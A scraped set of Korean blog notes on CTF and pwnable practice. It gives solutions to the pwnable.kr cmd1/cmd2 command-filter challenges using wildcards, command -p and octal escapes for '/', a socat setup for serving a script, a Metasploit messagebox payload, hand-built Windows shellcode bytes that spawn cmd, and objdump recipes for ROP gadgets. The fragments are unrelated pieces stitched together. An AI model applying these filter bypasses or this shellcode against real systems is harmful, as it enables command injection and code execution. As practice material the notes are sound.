document.onkeypress = getKey;

일단 환경변수가 putenv로 하나만 되어있어서

나머지 커맨드들 안먹힘



푸는 방법 좀 다양함


1. (정석) 환경변수 이용

export x=/home/cmd1/flag

./cmd1 "/bin/cat \$x"


2. 와일드카드

./cmd1 "/bin/cat fla*"



3. (cmd2 문제도 이렇게) command 명령어


./cmd1 "command -p cat fla*"


command -p 명령어 자체가 allows us to supply a default value of PATH ㅇㅇ 대박


"/" 막는 cmd2 문제에서 해결 가능



4. echo로  / ㅍ

/ 필터링 때문에 진절머리 나니까

8진수
$(echo '\057')로 / 표현함

./cmd2 '$(echo "\57")bin$(echo "\057")cat fla*'


5. read 명령어


read는 표준 입력(파이프라인 입력 또는 키보드 입력)에서 한 줄의 내용씩 읽어 들이는 명령어


./cmd2 "read a; \$a"




http://mandu-mandu.tistory.com/76


pwnable.kr input 문제 풀때

pwntools process에 넣을 수 있는 인자 개많은거 깨달음 





executable은 당연하고

argv, stderr, env

파이썬 파일 서버로 열어두기


vi run.sh ; chmod +x ./run.sh


vi 안에 python a.py


socat tcp-listen:10001,reuseaddr,fork exec:./run.sh


칼리리눅스의 터미널에 msfconsole을 입력하여

메타스플로잇을 킵니다.

show payloads를 입력합니다.



이 중에 쭉 내리다보면은

use windows/messagebox 를 입력합니다.


이제 제목과 타이틀에 어떤 것을 넣을지 커맨드를 입력합니다.

각각 set TEXT 텍스트 내용

set TITLE 제목 내용


이제 생성을 합시다. generate 명령어를 입력합니다.


'pwnable > Windows' 카테고리의 다른 글

Visual Studio로 쉘코드 제작하기  (0) 2017.04.25

Visual Studio를 킵니다.

가장 먼저 쉘을 띄우는 C 코드를 제작합니다.



이러한 방식으로 짠 후에 F10 버튼을 누릅니다.

그리고 해당 코드를 드래그한 후 마우스 오른쪽 버튼을 누르면



다음과 같이 밑에 디스어셈블리로 이동을 누르게 되면 다음과 같은 기계어와 디스어셈블리 코드가 나옵니다.



여기 중에 메인 함수 안에 있는 어셈블리어를 그대로 긁어서 사용하면 될거 같지만

cmd와 call 함수 부분의 주소를 저런 방식으로 사용할 수 없습니다.

따라서 해당하는 함수들의 주소를 따오는 파이썬 코드를 하나 작성합니다.


kernel32.dll에서 라이브러리를 로딩하고 WinExec과 ExitProcess 함수의 주소를 따오는 것입니다.



이제 이 주소로 변경을 한 후 어셈블리어를 수정하여서 사용해보려고 합니다.


다음과 같이 eax에 주소값을 넣어준 후 call eax를 통해 함수를 불러오는 형식으로 불러옵니다.

이렇게 변경을 해주면 왼쪽을 확인해보면 기계어가 있습니다. 이를 긁어서 쉘코드형식으로 변경해봅시다.

C6 45 FC 63

C6 45 FD 6D

C6 45 FE 64

C6 45 FF 00

6A 05 

8D 45 FC

50

B8 95 E6 46 77

FF D0

6A 01

B8 CF 2A 43 77 

FF D0


이제 이를 확인해 봅시다.

다음과 같이 쉘코드 형식으로 바꾸고 char에 넣습니다. 그 후 __asm에 jmp shell 만 넣어줍니다.



이를 실행시켜보면


쉘이 떴습니다!!

elfsymbol: plt주소 걍 다나옴


checksec: NX, Canary, ASLR 등 보호기법들 되어있는지 확인


문자열 /bin/sh 찾기

objdump -s (파일명) | grep / --color=auto

objdump -s (파일명) | grep b --color=auto

objdump -s (파일명) | grep i --color=auto

objdump -s (파일명) | grep n --color=auto

objdump -s (파일명) | grep s --color=auto

objdump -s (파일명) | grep h --color=auto


strcpy 주소 찾기

objdump -d (파일명) | grep strcpy



pop pop ret 가젯 찾기

objdump -d (파일명) | grep ret -B3



free space 영역 찾기

objdump -h (파일명) | grep bss


+ Recent posts